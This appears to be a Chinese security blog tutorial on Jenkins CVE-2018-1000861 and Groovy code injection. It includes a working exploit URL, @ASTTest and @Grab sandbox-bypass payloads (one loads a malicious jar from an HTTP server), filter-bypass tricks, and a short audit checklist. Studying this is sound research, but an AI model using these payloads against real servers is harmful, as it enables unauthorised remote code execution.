先知:https://xz.aliyun.com/t/8231

0x00 前言

最近看了下Jenkins相关漏洞,实在是太膜拜Orange大佬的挖掘思路了!!!分析下之后发现不会Groovy,在学习借鉴Me7ell大佬分享的Groovy文章下,于是就整理出本篇文章。

0x01 从Jenkins RCE看起(CVE-2018-1000861)

简介

Jenkins是一个独立的开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。前身是Hudson是一个可扩展的持续集成引擎。可用于自动化各种任务,如构建,测试和部署软件。

Jenkins Pipeline是一套插件,支持将连续输送Pipeline实施和整合到Jenkins。Pipeline提供了一组可扩展的工具,用于通过PipelineDSL为代码创建简单到复杂的传送Pipeline。

Jenkins远程代码执行漏洞(CVE-2018-1000861),简单地说,就是利用Jenkins动态路由机制的缺陷来绕过ACL的限制,结合绕过Groovy沙箱的Groovy代码注入来实现无验证RCE的攻击利用。

漏洞复现

直接用的Vulhub的环境:https://vulhub.org/#/environments/jenkins/CVE-2018-1000861/

PoC:

1
http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=%70%75%62%6c%69%63%20%63%6c%61%73%73%20%78%20%7b%0d%0a%20%20%70%75%62%6c%69%63%20%78%28%29%7b%0d%0a%20%20%20%20%22%74%6f%75%63%68%20%2f%74%6d%70%2f%6d%69%31%6b%37%65%61%22%2e%65%78%65%63%75%74%65%28%29%0d%0a%20%20%7d%0d%0a%7d

其中URL编码部分为:

1
2
3
4
5
public class x {
public x(){
"touch /tmp/mi1k7ea".execute()
}
}

除此之外,还有其他类型的PoC:

1
2
3
4
5
6
7
8
9
10
@groovy.transform.ASTTest(value={ "touch /tmp/mi1k7ea".execute() })
class Person{}

@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("touch /tmp/mi1k7ea")})
class Person{}

@GrabConfig(disableChecksums=true)
@GrabResolver(name='Exp', root='http://127.0.0.1:8000/')
@Grab(group='test', module='poc', version='0')
import Exp;

无需登录认证发起攻击:

成功RCE:

漏洞原理简析

网上很多文章包括Orange大佬的博客都讲解得很详细了,这里只是简单提下关键点。

Jenkins动态路由机制

Jenkins是基于Stapler框架开发的,在web.xml中可以看到Jenkins是将所有的请求交给org.kohsuke.stapler.Stapler来进行处理的,而Stapler是使用一套Naming Convention来实现动态路由的。该动态路由机制是先以/作为分隔符将URL切分,然后以jenkins.model.Jenkins作为入口点开始往下遍历,如果URL切分部分满足以下条件则继续往下调用:

  1. Public属性的成员变量;
  2. Public属性的方法,主要是getter方法,具体如下:
  • get<token>()
  • get<token>(String)
  • get<token>(Int)
  • get<token>(Long)
  • get<token>(StaplerRequest)
  • getDynamic(String, …)
  • doDynamic(…)
  • do<token>(…)
  • js<token>(…)
  • Class method with @WebMethod annotation
  • Class method with @JavaScriptMethod annotation

简单地说,Jenkins动态路由机制在解析URL的时候会调用相关类的getter方法

Jenkins白名单路由

Jenkins动态路由主要调用的是org.kohsuke.stapler.Stapler#tryInvoke()方法,该方法会对除了boundObjectTable外所有node都会进行一次权限检查,具体实现在jenkins.model.Jenkins#getTarget()中,这其中实际就是一个URL前缀白名单检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of(
"/login",
"/logout",
"/accessDenied",
"/adjuncts/",
"/error",
"/oops",
"/signup",
"/tcpSlaveAgentListener",
"/federatedLoginService/",
"/securityRealm",
"/instance-identity"
);

因此,绕过ACL的关键在于,要在上述白名单的一个入口点中找到其他对象的Reference(引用),来跳到非白名单成员从而实现绕过白名单URL前缀的限制。

通过对象间的Reference绕过ACL

如上所述,关键在于找到一个Reference作为跳板来绕过,Orange给出了如下跳板:

1
/securityRealm/user/[username]/descriptorByName/[descriptor_name]/

该跳板在动态路由中会依次执行如下方法:

1
2
3
jenkins.model.Jenkins.getSecurityRealm()
.getUser([username])
.getDescriptorByName([descriptor_name])

这是因为在Jenkins中,每个对象都是继承于hudson.model.Descriptor类,而继承该类的对象可以通过调用hudson.model.DescriptorByNameOwner#getDescriptorByName(String)方法来进行调用。

RCE Gadget

Orange给出了好几条可结合利用的漏洞利用链,其中之最当然是RCE的Gadget。

前面简介中提到了Jenkins Pipeline,它其实就是基于Groovy实现的一个DSL,可使开发者十分方便地去编写一些Build Script来完成自动化的编译、测试和发布。

在Jenkins中,大致使用如下代码来检测Groovy的语法:

1
2
3
4
5
6
7
8
9
10
public JSON doCheckScriptCompile(@QueryParameter String value) {
try {
CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build();
new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);
} catch (CompilationFailedException x) {
return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());
}
return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();
// Approval requirements are managed by regular stapler form validation (via doCheckScript)
}

关键就是GroovyClassLoader.parseClass(),该方法只是进行AST解析但并未执行Groovy语句,即实际并没有execute()方法调用,而且真正执行Groovy代码时会遇到Groovy沙箱的限制。

如何解决这个问题来绕过Groovy沙箱呢?Orange给出了答案——借助编译时期的Meta Programming,其中提到了两种方法。

利用@ASTTest执行断言

根据Groovy的Meta Programming手册,发现可利用`@groovy.transform.ASTTest`注解来实现在AST上执行一个断言。例如:

1
2
@groovy.transform.ASTTest(value={ assert Runtime.getRuntime().exec("calc") })
class Person{}

但在远程利用上会报错,原因在于Pipeline Shared Groovy Libraries Plugin这个插件,主要用于在PipeLine中引入自定义的函式库。Jenkins会在所有PipeLine执行前引入这个插件,而在编译阶段的ClassPath中并没有对应的函式库从而导致报错。

直接删掉这个插件是可以成功利用的,但由于该插件是随PipeLine默认安装的、因此这不是最优解。

利用@Grab远程加载恶意类

@Grab注解的详细用法在Dependency management with Grape中有讲到,简单地说,Grape是Groovy内建的一个动态Jar依赖管理程序,允许开发者动态引入不在ClassPath中的函式库。例如:

1
2
3
@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet

0x02 Groovy入门

Groovy简介

Groovy是一种基于JVM(Java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy代码能够与Java代码很好地结合,也能用于扩展现有代码。由于其运行在JVM上的特性,Groovy也可以使用其他非Java语言编写的库。

Groovy是用于Java虚拟机的一种敏捷的动态语言,它是一种成熟的面向对象编程语言,既可以用于面向对象编程,又可以用作纯粹的脚本语言。使用该种语言不必编写过多的代码,同时又具有闭包和动态语言中的其他特性。

Groovy是JVM的一个替代语言(替代是指可以用Groovy在Java平台上进行Java编程),使用方式基本与使用Java代码的方式相同,该语言特别适合与Spring的动态语言支持一起使用,设计时充分考虑了Java集成,这使Groovy与Java代码的互操作很容易。(注意:不是指Groovy替代Java,而是指Groovy和Java很好的结合编程。)

Groovy有以下特点:

  • 同时支持静态和动态类型;
  • 支持运算符重载;
  • 本地语法列表和关联数组;
  • 对正则表达式的本地支持;
  • 各种标记语言,如XML和HTML原生支持;
  • Groovy对于Java开发人员来说很简单,因为Java和Groovy的语法非常相似;
  • 可以使用现有的Java库;
  • Groovy扩展了java.lang.Object;

基本语法

参考:https://www.w3cschool.cn/groovy/

环境搭建

下载Groovy:http://groovy-lang.org/download.html

解压之后,使用IDEA新建Groovy项目时选择解压的Groovy目录即可。然后点击src->new>groovy class,即可新建一个groovy文件,内容如下:

1
2
3
4
5
class test {
static void main(args){
println "Hello World!";
}
}

5种运行方式

groovyConsole图形交互控制台

在终端下输入groovyConsole启动图形交互控制台,在上面可以直接编写代码执行:

groovysh shell命令交互

在终端下输入groovysh启动一个shell命令行来执行Groovy代码的交互:

用命令行执行Groovy脚本

在GROOVY_HOME\bin里有个叫“groovy”或“groovy.bat”的脚本文件,可以类似python test.py这种方式来执行Groovy脚本。

1.groovy:

1
println("mi1k7ea")

在Windows运行groovy.bat 1.groovy即可执行该Groovy脚本:

通过IDE运行Groovy脚本

有一个叫GroovyShell的类含有main(String[])方法可以运行任何Groovy脚本。

在前面的IDEA中可以直接运行Groovy脚本:

当然,也可以在Java环境中通过groovy-all.jar中的groovy.lang.GroovyShell类来运行Groovy脚本:

1
java -cp groovy-all-2.4.12.jar groovy.lang.GroovyShell 1.groovy

用Groovy创建Unix脚本

你可以用Groovy编写Unix脚本并且像Unix脚本一样直接从命令行运行它.倘若你安装的是二进制分发包并且设置好环境变量,那么下面的代码将会很好的工作。

编写一个类似如下的脚本文件,保存为:HelloGroovy

1
2
3
#!/usr/bin/env groovy
println("this is groovy script")
println("Hi,"+args[0]+" welcome to Groovy")

然后在命令行下执行:

1
2
3
4
$ chmod +x HelloGroovy
$ ./HelloGroovy micmiu.com
this is groovy script
Hi,micmiu.com welcome to Groovy

0x03 Groovy代码注入

漏洞原理

我们知道,Groovy是一种强大的编程语言,其强大的功能包括了危险的命令执行等调用。

在目标服务中,如果外部可控输入Groovy代码或者外部可上传一个恶意的Groovy脚本,且程序并未对输入的Groovy代码进行有效的过滤,那么会导致恶意的Groovy代码注入,从而RCE。

如下代码简单地执行命令:

1
2
3
4
5
6
class test {
static void main(args){
def cmd = "calc";
println "${cmd.execute()}";
}
}

这段Groovy代码被执行就会弹计算器:

几种PoC变通形式

Groovy代码注入实现命令执行有以下几种变通的形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"

// 回显型命令执行
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";

注入点

在下面一些场景中,会触发Groovy代码注入漏洞。

GroovyShell

GroovyShell允许在Java类中(甚至Groovy类)解析任意Groovy表达式的值。

GroovyShellExample.java:

1
2
3
4
5
6
7
8
import groovy.lang.GroovyShell;

public class GroovyShellExample {
public static void main( String[] args ) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate("\"calc\".execute()");
}
}

直接运行即可弹计算器:

或者换成运行Groovy脚本的方式也是也一样的:

1
2
3
4
5
6
7
8
9
10
11
12
import groovy.lang.GroovyShell;
import groovy.lang.Script;

import java.io.File;

public class GroovyShellExample {
public static void main( String[] args ) throws Exception {
GroovyShell groovyShell = new GroovyShell();
Script script = groovyShell.parse(new File("src/test.groovy"));
script.run();
}
}

test.groovy:

1
println "whoami".execute().text

此外,可使用Binding对象输入参数给表达式,并最终通过GroovyShell返回Groovy表达式的计算结果。

GroovyScriptEngine

GroovyScriptEngine可从指定的位置(文件系统、URL、数据库等等)加载Groovy脚本,并且随着脚本变化而重新加载它们。如同GroovyShell一样,GroovyScriptEngine也允许传入参数值,并能返回脚本的计算值。

GroovyScriptEngineExample.java,直接运行即加载Groovy脚本文件实现命令执行:

1
2
3
4
5
6
7
8
9
import groovy.lang.Binding;
import groovy.util.GroovyScriptEngine;

public class GroovyScriptEngineExample {
public static void main(String[] args) throws Exception {
GroovyScriptEngine groovyScriptEngine = new GroovyScriptEngine("");
groovyScriptEngine.run("src/test.groovy",new Binding());
}
}

test.groovy脚本文件如之前。

GroovyClassLoader

GroovyClassLoader是一个定制的类装载器,负责解释加载Java类中用到的Groovy类。

GroovyClassLoaderExample.java,直接运行即加载Groovy脚本文件实现命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
import groovy.lang.GroovyClassLoader;
import groovy.lang.GroovyObject;

import java.io.File;

public class GroovyClassLoaderExample {
public static void main(String[] args) throws Exception {
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
Class loadClass = groovyClassLoader.parseClass(new File("src/test.groovy"));
GroovyObject groovyObject = (GroovyObject) loadClass.newInstance();
groovyObject.invokeMethod("main","");
}
}

test.groovy脚本文件如之前。

ScriptEngine

ScriptEngine脚本引擎是被设计为用于数据交换和脚本执行的。

  • 数据交换:表现在调度引擎的时候,允许将数据输入/输出引擎,至于引擎内的数据持有的具体方式有两种:普通的键值对和Bindings(interface Bindings extends Map<String,Object>);
  • 脚本执行:脚本引擎执行表现为调用eval();

ScriptEngineManager类是一个脚本引擎的管理类,用来创建脚本引擎,大概的方式就是在类加载的时候通过SPI的方式,扫描ClassPath中已经包含实现的所有ScriptEngineFactory,载入后用来负责生成具体的ScriptEngine。

在ScriptEngine中,支持名为“groovy”的引擎,可用来执行Groovy代码。这点和在SpEL表达式注入漏洞中讲到的同样是利用ScriptEngine支持JS引擎从而实现绕过达到RCE是一样的。

ScriptEngineExample.java,直接运行即命令执行:

1
2
3
4
5
6
7
8
9
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class ScriptEngineExample {
public static void main( String[] args ) throws Exception {
ScriptEngine groovyEngine = new ScriptEngineManager().getEngineByName("groovy");
groovyEngine.eval("\"calc\".execute()");
}
}

执行Groovy脚本,需要实现读取文件内容的接口而不能直接传入File类对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import java.io.BufferedReader;
import java.io.FileReader;

public class ScriptEngineExample {
public static void main( String[] args ) throws Exception {
ScriptEngine groovyEngine = new ScriptEngineManager().getEngineByName("groovy");
String code = readfile("src/test.groovy");
groovyEngine.eval(code);
}

public static String readfile(String filename) throws Exception {
BufferedReader in = new BufferedReader(new FileReader(filename));
String string = "";
String str;
while ((str = in.readLine()) != null) {
string = string + str;
}
return string;
}
}

test.groovy脚本文件如之前。

0x04 Bypass Tricks

利用反射机制和字符串拼接Bypass

直接的命令执行在前面已经说过几种形式了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"

// 回显型命令执行
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";

在某些场景下,程序可能会过滤输入内容,此时可以通过反射机制以及字符串拼接的方式来绕过实现命令执行:

1
2
3
4
5
import java.lang.reflect.Method;
Class<?> rt = Class.forName("java.la" + "ng.Run" + "time");
Method gr = rt.getMethod("getR" + "untime");
Method ex = rt.getMethod("ex" + "ec", String.class);
ex.invoke(gr.invoke(null), "ca" + "lc")

Groovy沙箱Bypass

前面说到的Groovy代码注入都是注入了execute()函数,从而能够成功执行Groovy代码,这是因为不是在Jenkins中执行即没有Groovy沙箱的限制。但是在存在Groovy沙箱即只进行AST解析无调用或限制execute()函数的情况下就需要用到其他技巧了。这也是Orange大佬在绕过Groovy沙箱时用到的技巧。

@AST注解执行断言

参考Groovy的Meta Programming手册,利用AST注解能够执行断言从而实现代码执行(本地测试无需assert也能触发代码执行)。

PoC:

1
2
3
4
5
6
this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
assert Runtime.getRuntime().exec("calc")
})
def x
''');

本地测试:

@Grab注解加载远程恶意类

@Grab注解的详细用法在Dependency management with Grape中有讲到,简单地说,Grape是Groovy内建的一个动态Jar依赖管理程序,允许开发者动态引入不在ClassPath中的函式库。

编写恶意Exp类,命令执行代码写在其构造函数中:

1
2
3
4
5
6
7
8
public class Exp {
public Exp(){
try {
java.lang.Runtime.getRuntime().exec("calc");
} catch (Exception e) { }

}
}

依次运行如下命令:

1
2
3
4
javac Exp.java
mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf poc-0.jar Exp.class META-INF

先在Web根目录中新建/test/poc/0/目录,然后复制该jar包到该子目录下,接着开始HTTP服务。

PoC:

1
2
3
4
5
6
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name='Exp', root='http://127.0.0.1:8000/')
@Grab(group='test', module='poc', version='0')
import Exp;
''')

运行,成功请求远程恶意Jar包并导入恶意Exp类执行其构造函数,从而导致RCE:

0x05 排查方法

排查关键类函数特征:

关键类 关键函数
groovy.lang.GroovyShell evaluate
groovy.util.GroovyScriptEngine run
groovy.lang.GroovyClassLoader parseClass
javax.script.ScriptEngine eval

0x06 参考

Hacking Jenkins Part 1 - Play with Dynamic Routing

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!

Jenkins RCE分析(CVE-2018-1000861分析)

Jenkins groovy scripts for read teamers and penetration testers